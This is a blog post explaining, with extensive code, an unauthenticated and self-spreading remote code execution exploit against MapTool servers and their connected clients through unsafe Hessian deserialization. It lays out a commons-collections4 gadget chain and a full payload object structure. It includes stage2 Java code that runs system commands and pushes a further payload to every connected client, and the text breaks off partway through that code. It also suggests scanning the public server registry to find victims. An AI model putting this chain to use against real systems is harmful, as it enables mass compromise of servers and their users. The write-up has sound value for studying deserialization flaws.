maptool "wormable" unauthenticated rce

Waddup my interwebbian people. today were taking a look at an unauthenticated rce in an open-source java project called maptool. To make things worse, it is also wormable in the way that once you can run code on the server; you will also be able to run code on each and every connected client. In this post ill go through my process of writing the exploit while explaining it as best as i can to make this a viable resource on serialization exploits. Sorry if im overexplaining shit i tried to keep this very accessible.

Here, have a video of me running the exploit on my laptop.

Maptool

So what is this maptool thing? Well maptool is a tool to make maps (duh). Specifically it is a tool to create fantasy worlds for tabletop systems like dnd. People create beautiful maps like:

sample dnd map Then you invite your players which get the ability to walk around on this map together, defeating epic encounters. Inviting friends you say? Yepp. You start a maptool server, set a password so only your friends may connect and youre good to go!

So why did i decide to take a look at this open-source project? Thats actually a funny story because technically i didn’t. You see there is this twitch streamer who got a pretty big following by dm’ing for a good amount of rather popular streamers. His name is Arcadum and i can highly recommend his streams ❤️ (aged like milk). I noticed how slow maptool loads maps because every texture is send over the wire one by one in a pretty inefficient way. Sorry maptool people but things are kind slow when not cached. So i actually just wanted to make this process faster, cloned the repo and found an authenticated vuln by accident. This authenticated vuln is actually kinda boring and also not the point of this post so ill spare you the details. Next i wanted to check if i can bypass the password check to make it an unauthenticated rce. Didn’t take me long to find Handshake::receiveHandshake which was the method responsible for checking the clients password. Lo and behold there it was. Let’s just take a look at the first couple of lines:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static Player receiveHandshake(MapToolServer server, Socket s) throws IOException {
    // TODO: remove server config as a param
    ServerConfig config = server.getConfig();

    HessianInput input = new HessianInput(s.getInputStream());
    HessianOutput output = new HessianOutput(s.getOutputStream());

    // Jamz: Method renamed in Hessian 4.0.+
    // output.findSerializerFactory().setAllowNonSerializable(true);
    output.getSerializerFactory().setAllowNonSerializable(true);

    Request request = (Request) input.readObject();
    // ...

Whats Hessian? A serialization library. OOF.

They’re reading the clients inputs with deserialization. In case you didn’t know, this is what OWASP has to say about this.

Data which is untrusted cannot be trusted to be well formed. Malformed data or unexpected data could be used to abuse application logic, deny service, or execute arbitrary code, when deserialized.

Yep. deserialization of untrsted data can lead to arbitrary code execution. And thats exactly what were doing today. But before we delve into the technical shit, lets take a moment to realize what the impact of this problem really is. So first of all, they have a server registry where servers hosted with their tool is listed. Which means we can literally take this registry as a list of ips we can run code on (and all connected clients :p). Like most network programs, they have a default port. So we could run good ol’ masscan, scan for the default port and goto town. Now this is where is gets ridiculous. Remember what i said about who is using this program before. it’s highly targeted streamers like

Just to name a few. There actually is a list just in case you care.

Heccering

First, lemme give you a TL;DR. Suppose you make a program that creates an instance from a class. Also known as an object. You allow the user to choose that class; Any class that exists. Now that program calls .toString on that object. toString is a method. And it is implemented in a different way in each class. So let’s say we have a class that has a toString method which runs an evil command. Creating an object of that class and calling toString on it is evil right? The user can control the class that gets used, so we can instruct it to use the evil class. So depending on what class the object is from, different code gets run when you call toString on it. But the class needs to already exist in the target program. And the target program obviously doesn’t have an evil class. That’s where the chaining comes into play. Because maybe there is a class that has a .toString method that calls .next on an object of a class we choose. And maybe that .next method calls .transform on an object of a class we choose. And maybe that .transform runs any java method we choose with any arguments we choose. And maybe there is a java method that runs system commands (there is in every language).

That’s basically what a serialization rce is. If you want all the details, clever tricks and hopefully a learning experience, i invite you to go on; friend.

Now this is the part you probably came here for. So grab your best cup of tea, put on some music and enjoy my endeavour into madness and pwnage. If you already know how serialization works, feel very free to skip this next part as you will gain no new knowledge whatsoever.

Serialization / Deserialization

Let’s make this quick. You have some code known as a Serializer. You have this class:

1
2
3
4
5
class Example {
  String memes;

  public Example(String m) { memes = m; }
}

and you have a Deserializer. So lets make an instance of our class and serialize it in some pseudocode.

1
2
3
4
5
6
7
8
9
// make a new instance of the `Example` class
Example example = new Example("topkek")
// serialize instance into a byte array
byte[] serialize_object = Serializer.serialize(example)
// deserialize bytearray back into an instance of our class
Example example2 = Deserializer.deserialize(serialize_object)

// this should be true.
print(example == example2)

So with serialization we can turn objects into bytes and those bytes back into objects. But how does it do this? Let’s quickly run down what happens in the serialization process.

  • write name of class of input object to output bytes. So in our case Example
  • for each field of the object do:
    • write name of field to output bytes
    • write value of field to output bytes (this serializes the value of the field so we recursively goto step 1)
  • write an end of object byte

The deserialization process:

  • read name of class from input bytes
  • create an instance of this class (it must have this class in it’s own environment)
  • until we reach the end of object byte, do the following:
    • read a string from the bytes indicating the field name
    • read the value of this field from the input stream (this deserializaes the value of the field so we recursively goto step 1)
    • assign the value we just read as the value of the current field in the current object
  • return the object we recovered to the caller

This is the very very basic serialization / deserialization process. There is alot more to it as we will soon find out.

Entry Points

So it turns out, most deserializers call a few methods on the deserializied object after recovering it’s fields (fields = member variables). For example to deserialize a Collection which is a just any sequence of objects; deserializers usually don’t care about the collection’s fields (don’t worry this will make sense in a moment). They will instead make a new Collection and call .put on it to add the collection’s elements one-by-one. This means we can call put on every collection we like. The put method on a sorted collection will for example call compareTo on it’s elements to keep them sorted (now it gets interesting). So we can call compareTo on any class of our choosing. I will refer to these initial methods which are called during deserializaion as entry points.

Since i was unable to find any existing research of hessian that would help me in this case (they were all specific to libraries which aren’t used here), i had to make my own gadget chain. We will learn what that means later on.

The first thing i did was find entry points in hessian by going through it’s serializaion code. To name just a few i found:

  • compareTo
  • hashCode
  • readResolve
  • the constructor with the least amount of parameters
  • toString

Gadgets And Chains

First i started with compareTo. Remember we can have our target deserialize any class it knows about. In java that means it’s in the classpath. All classes of a Java program and all of the classes of it’s dependencies are in it’s classpath. Then i had a good look at the compareTo methods on a couple of classes in a couple of dependencies of our target. CompareTo seemed like a bad target (even tho if i looked longer i probably would have found something) so i switched over to toString. It didn’t take long until i found a very interesting toString implementation in a library they were using called common-colections4. This library is actually rather known for it’s deserialization gadgets. we will later discover why that is.

The interesting toString implementation i found was a on the class public class FluentIterable<E> implements Iterable<E>. You might be like

but catnip, this class isn’t even serializable

Yep. It isn’t. Hessian does not check if something is marked as Serializable when it deserializes it. Hessian refuses to serialize things which are not marked as serializable. But it doesn’t do this check when deserializing. Anyways, back to the toString method.

1
2
3
4
@Override
public String toString() {
    return IterableUtils.toString(iterable);
}

Interesting. It passes a field (we can control fields, remember) to IterableUtils.toString so lets check that out.

1
2
3
public static <E> String toString(final Iterable<E> iterable) {
    return IteratorUtils.toString(emptyIteratorIfNull(iterable));
}

It’s important to know the difference between an Iterable and and Iterator here. Quick programming lesson on iterators and iterables, feel free to skip.

Iterable: An iterable is just a sequence of elements. Lists, Stacks, Vectors, all your usual collections classes are iterables. To actually get the elements of the iterable, it needs to tell us what iterator to use. It does this by returning a specific iterator object in a method also named iterator.

Iterator: An iterator is an object that gets us the next object in a sequence. We literally call next on the iterator to get the next element. But sometimes iterators do something special in addition to returning the next element. It could for example add +1 to the element and then return it. There are tons of special iterators that do fancy shit.

So here we are passing our iterable to the method emptyIteratorIfNull which will get the iterator of our iterable. Then this iterator gets passed to the IteratorUtils::toString method. But let’s start at emptyIteratorIfNull.

1
2
3
private static <E> Iterator<E> emptyIteratorIfNull(final Iterable<E> iterable) {
    return iterable != null ? iterable.iterator() : IteratorUtils.<E>emptyIterator();
}

The method is getting the iterator of our iterable by just calling .iterator(). For now, let’s assume we can control what iterator is used here. It ends up in IteratorUtils::toString as mentioned before.

1
2
3
4
5
public static <E> String toString(final Iterator<E> iterator) {
    return toString(iterator, TransformerUtils.stringValueTransformer(),
                    DEFAULT_TOSTRING_DELIMITER, DEFAULT_TOSTRING_PREFIX,
                    DEFAULT_TOSTRING_SUFFIX);
}

Ok so we pass the iterator and add some other hardcoded memes we don’t care about because we cant control them.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static <E> String toString(final Iterator<E> iterator,
                                  final Transformer<? super E, String> transformer,
                                  final String delimiter,
                                  final String prefix,
                                  final String suffix) {

    // bunch of error checking i redacted

    final StringBuilder stringBuilder = new StringBuilder(prefix);
    if (iterator != null) {
        while (iterator.hasNext()) {
            final E element = iterator.next();
            stringBuilder.append(transformer.transform(element));
            stringBuilder.append(delimiter);
        }
        if(stringBuilder.length() > prefix.length()) {
            stringBuilder.setLength(stringBuilder.length() - delimiter.length());
        }
    }
    stringBuilder.append(suffix);
    return stringBuilder.toString();
}

We first call Iterator::hasNext which sounds rather boring (i actually didn’t look into that call :p) and then we call Iterator::Next. Now thats a good one. Why is the ability to call Next on any Iterator “a good one”? Let me introduce you to my favorite Iterator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public class TransformIterator<I, O> implements Iterator<O> {
    /** The iterator being used */
    private Iterator<? extends I> iterator;
    /** The transformer being used */
    private Transformer<? super I, ? extends O> transformer;

    // code n shit

    @Override
    public O next() {
        return transform(iterator.next());
    }

    // more code n shit
}

An Iterator that calls Transformer::transform on a field. Again, we control those so we can call the transform method of any class we want. dope. What transformers are there?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class InvokerTransformer<I, O> implements Transformer<I, O> {
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class<?>[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    // code n shit

    @Override
    @SuppressWarnings("unchecked")
    public O transform(final Object input) {
        if (input == null) {
            return null;
        }
        try {
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        // redacted error checking
        // ...
    }

    // more code n shit
}

Yepp. This transformer literally calls a function of our choosing with parameters of our choice on an object of our choice. Arbitrary. Code. Execution. Notice how we went from toString to next to transform to invoke? Those classes which gets us from place A to place B until we reach our final destination are called Gadgets. And the combination of those gadgets is called a Gadget Chain. Now we could just do the good old Runtime.getRuntime().exec and execute system commands. But im gonna do something way cooler. Before we do that however, we need to go back a couple of steps and proof something.

From Iterable To TransformIterator

Earlier in this post i told you to

assume we can control what iterator is used here

But i didn’t actually show you an Iterator whos Iterable we can control. Quick recap. We need an iterable whos iterator method returns a TransformIterator. Just doing a quick search

1
2
3
4
5
6
7
8
9
@Override
public Iterator<E> iterator() {
    return listIterator();
}

@Override
public ListIterator<E> listIterator() {
    return new LinkedListIterator<>(this, 0);
}

mmmmmmmmmmmmmm

1
2
3
4
@Override
public Iterator<E> iterator() {
    return new BagIterator<>(this);
}

mmmmmmmmmmmmmmmmmmmmmm

1
2
3
4
@Override
public Iterator<E> iterator() {
    return new MultiSetIterator<>(this);
}

mmmmmmmmmmmmmmmmmmmmmmmmmmmmmm

Yeah maybe this assumption was a bit to optimistic. The iterators seem to be rather hardcoded. But how tf are you actually supposed to use the TransformIterator if there is no iterator implementation returning it?. Well.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static <I, O> Iterable<O> transformedIterable(final Iterable<I> iterable,
                                                     final Transformer<? super I, ? extends O> transformer) {
    checkNotNull(iterable);
    if (transformer == null) {
        throw new NullPointerException("Transformer must not be null.");
    }
    return new FluentIterable<O>() {
        @Override
        public Iterator<O> iterator() {
            return IteratorUtils.transformedIterator(iterable.iterator(), transformer);
        }
    };
}

Okkkkkkkkkkkkkk. They have this method which takes an iterable and a transformer and then it does something funny which returns an iterable with a TransformIterator. But we obviously can’t call this method. And we also dont have to :). Let me explain what this funny thing is that the method does. And if you’re a java dev reading this, i know you were cringing when i called it something funny :p. Java (and many other languages) have a feature called Anonymous Classes. It works like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
class SomeClass {
    @Override
    public String toString() { return "not memes"; }
}

public static void main(String[] args){ 
  SomeClass x = new SomeClass();
  SomeClass y = new SomeClass() {
      @Override
      public String toString() { return "memes"; }
  };
  SomeClass z = new SomeClass();

  System.out.println(x.toString());
  System.out.println(y.toString());
  System.out.println(z.toString());
}

On line 8 we make an instance of the class SomeClass BUT we override the toString method with our own implementation. So when calling toString on this instance (y), it will always return “memes”. We don’t change the original class tho. Every other instance of SomeClass will still use the original implementation of toString. So if we run this code, it will print

not memes

memes

not memes

But theyre all instances of SomeClass so how does it work? Java actually creates a new class here. The class doesn’t have a name which is why we call it an anonymous class. OOOOOOOOOOOKKK can we actually take the anonymous class from inside the transformedIterable method:

1
2
3
4
5
6
new FluentIterable<O>() {
    @Override
    public Iterator<O> iterator() {
        return IteratorUtils.transformedIterator(iterable.iterator(), transformer);
    }
};

and tell hessian to make an instance of it? Keep in mind we also need to control the transformer variable so we can plug in our InvokerTransformer. The answer is yes. First of all, anonymous classes do have names. They just dont have names in java. Confused? Lemme explain. For the java virtual machine to be able to create an instance of a class, it needs a name for that class, anonymous classes are no exception. For every anonymous class, java will just make up a name. The naming convention it uses is [class the anonymous class is inside of]$[index of anonymous class]. For example; our anonymous class is in the method transformedIterable which is inside the class IterableUtils. it is also the 10th anonymous class. So the name java gives it is IterableUtils$10. Dope but how do we control the transformer, which is not a member variable but an argument to the method? As a reminder, here is the method again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static <I, O> Iterable<O> transformedIterable(final Iterable<I> iterable,
                                                     final Transformer<? super I, ? extends O> transformer) {
    checkNotNull(iterable);
    if (transformer == null) {
        throw new NullPointerException("Transformer must not be null.");
    }
    return new FluentIterable<O>() {
        @Override
        public Iterator<O> iterator() {
            return IteratorUtils.transformedIterator(iterable.iterator(), transformer);
        }
    };
}

We need control over the transformer variable too. But if we pass a transformer to this method, it just returns an iterable. How does the variable still exist when the method already finished executing? The method returned right? Why would it’s arguments still exist? There is a thing going on here called closure. Because java is smart (debatable); it knows that a method in the anonymous class is using an argument from the enclosing method. Those arguemnts are transformer and iterable. So it makes up some names for those arguments and puts them in the anonymous class as fields. Heh we control those ;). So what does the java compiler name those closure fields? It does val$[name of variable]. In our case that means we have val$transformer and val$iterable.

Reiterating The Chain

Get it? Reiterating? Because were using iterators? Very funny i know. Im just gonna put the gadget chain here

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// FluentIterable::toString
@Override
public String toString() {
    return IterableUtils.toString(iterable);
}

  // -->
  // IterableUtils::toString
  public static <E> String toString(final Iterable<E> iterable) {
      return IteratorUtils.toString(emptyIteratorIfNull(iterable));
  }

    // -->
    // IterableUtils::emptyIteratorIfNull
    private static <E> Iterator<E> emptyIteratorIfNull(final Iterable<E> iterable) {
        return iterable != null ? iterable.iterator() : IteratorUtils.<E>emptyIterator();
    }

      // -->
      // IterableUtils$10::iterator
      @Override
      public Iterator<O> iterator() {
          return IteratorUtils.transformedIterator(iterable.iterator(), transformer);
      }

        // -->
        // IteratorUtils::transformedIterator
        public static <I, O> Iterator<O> transformedIterator(final Iterator<? extends I> iterator,
                final Transformer<? super I, ? extends O> transform) {

            if (iterator == null) {
                throw new NullPointerException("Iterator must not be null");
            }
            if (transform == null) {
                throw new NullPointerException("Transformer must not be null");
            }
            return new TransformIterator<>(iterator, transform);
        }

    // <-- back to IterableUtils::toString
    // IteratorUtils::toString
    public static <E> String toString(final Iterator<E> iterator) {
        return toString(iterator, TransformerUtils.stringValueTransformer(),
                        DEFAULT_TOSTRING_DELIMITER, DEFAULT_TOSTRING_PREFIX,
                        DEFAULT_TOSTRING_SUFFIX);
    }

      // -->
      // IterableUtils::toString
      public static <E> String toString(final Iterator<E> iterator,
                                        final Transformer<? super E, String> transformer,
                                        final String delimiter,
                                        final String prefix,
                                        final String suffix) {
          // error checking and stuff
          final StringBuilder stringBuilder = new StringBuilder(prefix);
          if (iterator != null) {
              while (iterator.hasNext()) {
                  final E element = iterator.next();
                  stringBuilder.append(transformer.transform(element));
                  stringBuilder.append(delimiter);
              }
              if(stringBuilder.length() > prefix.length()) {
                  stringBuilder.setLength(stringBuilder.length() - delimiter.length());
              }
          }
          stringBuilder.append(suffix);
          return stringBuilder.toString();
      }

        // -->
        // TransformIterator::next
        @Override
        public O next() {
            return transform(iterator.next());
        }
        
          // -->
          // TransformIterator::transform
          protected O transform(final I source) {
              return transformer.transform(source);
          }

            // -->
            // InvokerTransformer::transform
            public O transform(final Object input) {
                if (input == null) { return null; }
                try {
                    final Class<?> cls = input.getClass();
                    final Method method = cls.getMethod(iMethodName, iParamTypes);
                    return (O) method.invoke(input, iArgs);
                } catch (final NoSuchMethodException ex) {
                    // error handling and stuff
                }
            }

And just to be crystal clear, here is the payloads object structure in a json like format:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
FluentIterable {
  // the anonymous class
  iterable: IterableUtils$10 {
    // the closure variable of what to iterate over
    // the invoker transformer will be called on each element of this iterable
    val$iterable: HashSet
    // the transformer closure that will be called
    val$transformer: InvokerTransformer
  }
}

Alright, 2 things:

  1. Calling a method on a deserialized object inside the hashset (iterable) is easy. But we’ll need to call multiple methods to do interesting shit.
  2. We don’t know how to actually call toString yet.

For 1. we can used ChainedTransformer which is a transformer that runs multiple transformers (we can control) one after another.

Hessian.toString()

Calling toString wasn’t that easy. When i made the list of entry points, i put toString on there when i saw the following piece of code inside hessian’s deserialization code(com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer::deserialize):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void deserialize(AbstractHessianInput in, Object obj)
  throws IOException
{
  Object value = null;
  
  try {
value = in.readObject(_field.getType());

_field.set(obj, value);
  } catch (Exception e) {
    logDeserializeError(_field, obj, value, e);
  }
}

When hessian deserializes the field of an object it will:

  • read the fields value by deserializing it into the value variable
  • assign this value to the actual field

When this process fails it logs an error (that’s actually where the magic happens). I noticed the logDeserializeError method takes value as an argument (we have control over value). logDeserializeError:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
  static void logDeserializeError(Field field, Object obj, Object value,
                                  Throwable e)
    throws IOException
  {
    String fieldName = (field.getDeclaringClass().getName()
                        + "." + field.getName());

    if (e instanceof HessianFieldException)
      throw (HessianFieldException) e;
    else if (e instanceof IOException)
      throw new HessianFieldException(fieldName + ": " + e.getMessage(), e);
    
    if (value != null)
      throw new HessianFieldException(fieldName + ": " + value.getClass().getName() + " (" + value + ")"
					 + " cannot be assigned to '" + field.getType().getName() + "'");
    else
       throw new HessianFieldException(fieldName + ": " + field.getType().getName() + " cannot be assigned from null", e);
  }

The interesting part is

1
2
3
if (value != null)
  throw new HessianFieldException(fieldName + ": " + value.getClass().getName() + " (" + value + ")"
       + " cannot be assigned to '" + field.getType().getName() + "'");

If the value argument isn’t null, we concatinate it to a string "(" + value + ")"). Concatination in java calls toString :). But how do we cause an exception in a way that doesnt cause value to be null? If we get value = in.readObject(_field.getType()); to run and _field.set(obj, value); to fail, we should be good. Im thinking: pick a random class like

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class TiedMapEntry<K, V> implements Map.Entry<K, V>, KeyValue<K, V>, Serializable {
    /** Serialization version */
    private static final long serialVersionUID = -8453869361373831205L;

    /** The map underlying the entry/iterator */
    private final Map<K, V> map;

    /** The key */
    private final K key;

    // more blah blah ...

And tell hessian to deserialize it. When it gets to the map field, it will deserialize the value and we will give it something that isn’t a Map. The object will be deserialized into the value variable but assigning it to the map field will crash because it isn’t a map.

but nipcat, won’t value = in.readObject(_field.getType()); crash?

It looks like it doesn’t it? It does know the objects fields type and passes that to readObject so there is no reason it would let us choose any class.

@param expectedClass the expected class if the protocol doesn’t supply it.

Thats what their documentation says. A quick look reveals that they only use this class if serializer doesn’t specify it. We can just tell it to use another class.

As we want to provoke the assignment error as our means of calling tostring, we need to serialize a broken object. For that we can just look at the hessian source code (lets go way back ;) and make our own serializer.

Object structure becomes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
TiedMapEntry {
  // FluentIterable isn't a Map so this will crash and call tostring on our FluentIterable
  map: FluentIterable {
    // the anonymous class
    iterable: IterableUtils$10 {
      // the closure variable of what to iterate over
      // the invoker transformer will be called on each element of this iterable
      val$iterable: HashSet
      // the transformer closure that will be called
      val$transformer: InvokerTransformer
    }
}

Let’s get advanced.

Moving To Clients

In the title i used the word wormable and now it’s time to address that part. As serialization is used for the login process, you probably wont be surprised to hear that serialization is used for alot more things in their codebase. For their network protocol they have their own repo called clientserver. In the class net.rptools.clientserver.simple.client.ClientConnection they handle sending/receiving packets on the client side. When connecting to a server, a special thread to receive data is started. The thread will

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
@Override
public void run() {
  while (!stopRequested && conn.isAlive()) {
    try {
      byte[] message = conn.readMessage(in);
      conn.dispatchMessage(conn.id, message);
    } catch (IOException e) {
      fireDisconnect();
      break;
    } catch (Throwable t) {
      // don't let anything kill this thread via exception
      t.printStackTrace();
    }
  }
}

They’re reading a message by first reading the size of the message as an int then reading that many bytes as the message (conn.readMessage(in)). Next they’re dispatching that message. But what does that even mean? We ultimately end up in net.rptools.clientserver.hessian.AbstractMethodHandler.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public void handleMessage(String id, byte[] message) {
  try {
    HessianInput in = null;
    try {
      in = new HessianInput(new GZIPInputStream(new ByteArrayInputStream(message)));
    } catch (IOException ioe) {
      in = new HessianInput(new ByteArrayInputStream(message));
    }
    in.startCall();
    List<Object> arguments = new ArrayList<Object>();
    while (!in.isEnd()) {
      arguments.add(in.readObject());
    }
    in.completeCall();

    handleMethod(id, in.getMethod(), arguments.toArray());
  } catch (IOException e) {
    e.printStackTrace();
  }
}

Huh, this is an rpc (remote procedure call). It’s using hessian to receive a serialized method call then execute it. More serialization ;). Once we can execute java code on the server, we can get the client connections and send them a malicious packet which will get deserialized by the above handleMessage code and boom, we infected all connected clients. How do we run code on the client? The handleMethod method only let’s us call selected methods and not arbitrary ones but that’s fine because the methods arguments are subject to serialization. The gameplan would be to send serialized arguments to the client which will lead to code execution in the same way we reached rce on the server.

Digging deeper into handleMessage, the first interesting thing that happens is startCall.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public void startCall()
  throws IOException
{
  readCall();

  while (readHeader() != null) {
    readObject();
  }

  readMethod();
}

First we need to pass readCall without crashing.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public int readCall()
  throws IOException
{
  int tag = read();
  
  if (tag != 'c')
    throw error("expected hessian call ('c') at " + codeName(tag));

  int major = read();
  int minor = read();

  return (major << 16) + minor;
}

We read a byte and check if it’s c. Then we read 2 other bytes, combine them into a short and return it. Back in startCall we now readHeader and check if it returns a non-null value.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public String readHeader()
  throws IOException
{
  int tag = read();

  if (tag == 'H') {
    _isLastChunk = true;
    _chunkLength = (read() << 8) + read();

    _sbuf.setLength(0);
    int ch;
    while ((ch = parseChar()) >= 0)
      _sbuf.append((char) ch);

    return _sbuf.toString();
  }

  _peek = tag;

  return null;
}

Ok tag has to be ‘H’, then we read 2 more bytes and then read bytes as long as the byte is bigger than 0. We actually dont care about any of these fields so im gonna put 0 in all of those. The only byte we need is tag which needs to be H so we dont return null. Back to startCall again, we now call readObject which is all we need to gain code execution as we have already discovered.

TL;DR: send a bunch of garbage so we reach readObject, then send malicious object.

Cool! We know what to send to the client but how do we get the server to send this payload to all the clients. The easiest approach (in my opinion) is to send some compiled java bytecode code to the server and have it execute that. From there we can just write java code that sends the clients our payload. Running compiled java bytecode works like this:

  • get ClassLoader instance
  • use reflection to make the ClassLoader::defineClass method publicly accessibe
  • call defineClass with our compiled bytecode in the form of a bytearray
  • use the return value (which is the class we compiled) to call a method on it
  • this method is the code we want to execute ;)

Translating this code to transformers gets rather functional. First we use a ChainedTransformer. The ChainedTransformer takes a list of transformers, transforms the first input and passes the transformed input to the next transformer. So we call a method on an object, call something on the returned object, call something on that returned object and so on. Cool, we use a ClassLoader instance as our first input and call defineClass on it. But wait we need to make it publicly accessibe first or we cant call it. So we use the ClassLoader class as our first input and call getDeclaredMethod('defineClass'...) on it, call setAccessible(true) on it and then call the method. But setAccessible doesnt return anything :(. Due to the ChainedTransformer using return values as input to the next transform we cant do setAccessible because it returns void, causing the chain to break. This problem is easily solved by using a ClosureTransformer. In the context of common-collections4, a closure is an object that does something with the input and then returns that input. There are different closures that do different things with the input but there is none that executes something on it as the InvokerTransformer does. There is however the TransformerClosure which runs a transformer on it’s input. There is also the aforementioned ClosureTransformer which is a transformer that runs a closure. To put all this in simpler terms: a transformer transforms the input, meaning it returns the result of an operation. A closure does something on the object, returning the original object. With this in mind i present:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// input = ClassLoader class
ChainedTransformer [
  InvokerTransformer('getDeclaredMethod', ...)
  // this gets the return value of the line above
  // it is a transformer that runs a closure
  ClosureTransformer(
    // the chained closure runs multiple closures on an input
    // and then returns that input
    ChainedClosure [
      // a closure that calls a transformer which invoked our method
      TransformerClosure(InvokerTransformer('setAccessible', ...))
      // this gets the same input value as the line above
      TransformerClosure(
        // i coud've placed this outside the closure but fuck it
        // we open another chained transformer
        ChainedTransformer [
          // we invoke the method we just made accessibe
          // this is the `defineClass` method
          // our parameters to this invoke will be the java bytecode
          // and an instance of ClassLoader to call the method on
          // we will get to the ClassLoader part in a moment
          InvokerTransformer('invoke', ...)
          // the above call returns the class we compiled into bytecode
          // so we are gonna call `getMethod` on this class
          // we can get any method we want by name
          InvokerTransformer('getMethod', ...)
          // we have the method, now we need to invoke it
          // we can actually invoke this method with `null` as the instance
          // object if the method is static (i recommend you make it static)
          InvokerTransformer('invoke', ...)
        ]
      )
    ]
  )
]

As promised in the comments above, let’s look into getting an instance of a ClassLoader. Because the instance will be an argument, we can’t use transformers or anything fancy to get it. It needs to be deserializable by hessian in order to put it in the iArgs field of the InvokerTransformer. Hessian creates instances by looking for the constructor with the least amount for arguments. So we are looking for a ClassLoader where the constructor with the least amount of arguments doesnt throw an exception. I just checked all classes that extend ClassLoader with our requirements in mind until i found java.security.SecureClassLoader. It has an empty constructor that does absolutely nothing. Perfect :). At this point our complete payload is (and im going to be very verbose this time):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
TiledMapEntry {
  map: FluentIterable {
    iterable: IteratorUtils$10 {
      val$iterable: HashSet {[ ClassLoader.class ]}
      val$transformer: ChainedTransformer {
        iTransformers: [
          // get the `ClassLoader::defineClass` method
          InvokerTransformer {
            iMethodName: 'getDeclaredMethod'
            iParamTypes: [ String.class, Class[].class ]
            iArgs: [ 'defineClass', [ String.class, byte[].class, int.class, int.clss ] ]
          },
          ClosureTransformer {
            iClosure: ChainedClosure {
              iClosures: [
                TransformerClosure {
                  iTransformer: InvokerTransformer {
                    iMethodName: 'setAccessible'
                    iParamTypes: [ boolean.class ]
                    iArgs: [ true ]
                  }
                },
                TransformerClosure {
                  iTransformer: ChainedTransformer {
                    iTransformers: [
                      InvokerTransformer {
                        iMethodName: 'invoke'
                        iParamTypes: [ Object.class, Object[].class ]
                        // stage2 contains our java bytecode array
                        // fyi.catnip.Payload is the full name of the class were defining
                        // this needs to be the same name that you used when compiling it
                        // the 0 means start from the beginning of the array
                        // then we pass the length of the array
                        iArgs: [ SecureClassLoader, 'fyi.catnip.Payload', stage2, 0, len(stage2) ]
                      },

                      InvokerTransformer {
                        iMethodName: 'getMethod'
                        iParamTypes: [ String.class, Class[].class ]
                        // this is the method of our bytecode payload aka stage2
                        // mine looks like this: `public static void memes(String cmd, byte[] stage3)`
                        iArgs: [ 'memes', [ String.class, byte[].class ] ]
                      },

                      InvokerTransformer {
                        iMethodName: 'invoke'
                        iParamTypes: [ Object.class, Object[].class ]
                        // null because the stage2 method is static
                        // dont worry about those args for now as theyre specific to my stage2
                        // which ill show you in a moment
                        iArgs: [ null, [ 'calc.exe', stage3 ] ]
                      }
                    ]
                  }
                }
              ]
            }
          }
        ]
      }
    }
  }
}

Cool. only one puzzle piece remains.

Stage2 & Stage3

As mentioned in the comments above, stage2 is the java bytecode were running on the server. Im just gonna put my stage2 here and explain it within the comments

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// the package name is important as we need to pass it to `defineClass`
package fyi.catnip;

import java.lang.reflect.Field;

// the class is also part of the name we need to pass to `defineClass`
// the full name is `fyi.catnip.Payload`
public class Payload {
    // i recommend making this static so you dont need an instance of `Payload` to call it
    // stage3 is what we send to the client
    public static void memes(String cmd, byte[] stage3) {
        // very important code
        System.out.println("yeet");
        try {
            // execute the command we want to run
            Runtime.getRuntime().exec(cmd);
            // stage3 is optional
            // when attacking the server, we set stage3 to a payload that will call this function
            // stage3 is what will run on the client.
            // stage3 will run this method (stage2) passing `null` to the `stage3` argument
            // were doing this because the client shouldnt try infecting other clients
            // when the payload reaches the client we have already infected all clients
            if(stage3 != null) {
                // were prepending some shit so the cient deserialization starts
                // for more details revisit the `Moving to Clients` section
                byte[] hessian_call = new byte[] {'c', 0, 0, 'H', 0, 0};
                byte[] payload = new byte[hessian_call.length + stage3.length];
                System.arraycopy(hessian_call, 0, payload, 0, hessian_call.length);
